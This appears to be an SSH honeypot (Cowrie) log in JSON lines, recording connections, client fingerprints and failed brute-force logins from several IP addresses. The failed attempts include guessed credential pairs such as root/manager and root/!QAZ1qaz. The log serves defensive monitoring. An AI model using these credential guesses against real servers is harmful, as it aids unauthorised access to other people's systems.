{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":46764,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f14fc96eb5","protocol":"ssh","message":"New connection: 101.36.124.219:46764 (159.203.135.109:22) [session: 96f14fc96eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:14.898208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:14.903388Z","src_ip":"101.36.124.219","session":"96f14fc96eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:15.118403Z","src_ip":"101.36.124.219","session":"96f14fc96eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manager","message":"login attempt [root/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:16.010276Z","src_ip":"101.36.124.219","session":"96f14fc96eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:17.229006Z","src_ip":"101.36.124.219","session":"96f14fc96eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48610,"dst_ip":"10.17.0.5","dst_port":22,"session":"284a3a5ac7a9","protocol":"ssh","message":"New connection: 8.218.166.49:48610 (10.17.0.5:22) [session: 284a3a5ac7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:20.384396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:20.388570Z","src_ip":"8.218.166.49","session":"284a3a5ac7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39892,"dst_ip":"10.17.0.5","dst_port":22,"session":"915eb39f607f","protocol":"ssh","message":"New connection: 8.218.166.49:39892 (10.17.0.5:22) [session: 915eb39f607f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:26.389585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:26.393964Z","src_ip":"8.218.166.49","session":"915eb39f607f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55496,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8cfd043b5e8","protocol":"ssh","message":"New connection: 8.218.166.49:55496 (10.17.0.5:22) [session: b8cfd043b5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:40.096725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:45.188574Z","src_ip":"8.218.166.49","session":"b8cfd043b5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:45.192518Z","src_ip":"8.218.166.49","session":"b8cfd043b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":43140,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f7b8d81328","protocol":"ssh","message":"New connection: 182.180.57.212:43140 (10.17.0.5:22) [session: 74f7b8d81328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:54.962638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:54.967714Z","src_ip":"182.180.57.212","session":"74f7b8d81328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:55.192879Z","src_ip":"182.180.57.212","session":"74f7b8d81328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:56.125126Z","src_ip":"182.180.57.212","session":"74f7b8d81328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:57.353607Z","src_ip":"182.180.57.212","session":"74f7b8d81328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":15322,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7ba4ea8819","protocol":"ssh","message":"New connection: 104.28.195.186:15322 (10.17.0.5:22) [session: 4e7ba4ea8819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:59.870723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:59.875501Z","src_ip":"104.28.195.186","session":"4e7ba4ea8819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:59.955609Z","src_ip":"104.28.195.186","session":"4e7ba4ea8819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:00.367428Z","src_ip":"104.28.195.186","session":"4e7ba4ea8819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":34242,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed510b96347b","protocol":"ssh","message":"New connection: 14.63.196.175:34242 (10.17.0.5:22) [session: ed510b96347b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:01.389986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:01.394534Z","src_ip":"14.63.196.175","session":"ed510b96347b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:01.459940Z","src_ip":"104.28.195.186","session":"4e7ba4ea8819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:01.597247Z","src_ip":"14.63.196.175","session":"ed510b96347b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hj123","message":"login attempt [root/hj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:02.444027Z","src_ip":"14.63.196.175","session":"ed510b96347b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":42748,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb7153290564","protocol":"ssh","message":"New connection: 198.23.150.42:42748 (10.17.0.5:22) [session: cb7153290564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:03.160233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:03.169006Z","src_ip":"198.23.150.42","session":"cb7153290564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:03.188439Z","src_ip":"198.23.150.42","session":"cb7153290564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ1qaz","message":"login attempt [root/!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:03.294128Z","src_ip":"198.23.150.42","session":"cb7153290564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:03.649328Z","src_ip":"14.63.196.175","session":"ed510b96347b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:04.316432Z","src_ip":"198.23.150.42","session":"cb7153290564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:05.417526Z","src_ip":"8.218.166.49","session":"915eb39f607f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:16.021325Z","src_ip":"8.218.166.49","session":"b8cfd043b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":50845,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c65073af4aa","protocol":"ssh","message":"New connection: 49.207.40.162:50845 (10.17.0.5:22) [session: 9c65073af4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:20.655707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:20.659945Z","src_ip":"49.207.40.162","session":"9c65073af4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:20.879565Z","src_ip":"49.207.40.162","session":"9c65073af4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Letmein@1","message":"login attempt [root/Letmein@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:21.789303Z","src_ip":"49.207.40.162","session":"9c65073af4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:23.014705Z","src_ip":"49.207.40.162","session":"9c65073af4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"49.4","message":"Connection lost after 49.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:29.460783Z","src_ip":"8.218.166.49","session":"b8cfd043b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":45824,"dst_ip":"159.203.135.109","dst_port":22,"session":"88303f6c505e","protocol":"ssh","message":"New connection: 101.36.124.219:45824 (159.203.135.109:22) [session: 88303f6c505e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:37.218241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:37.221864Z","src_ip":"101.36.124.219","session":"88303f6c505e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-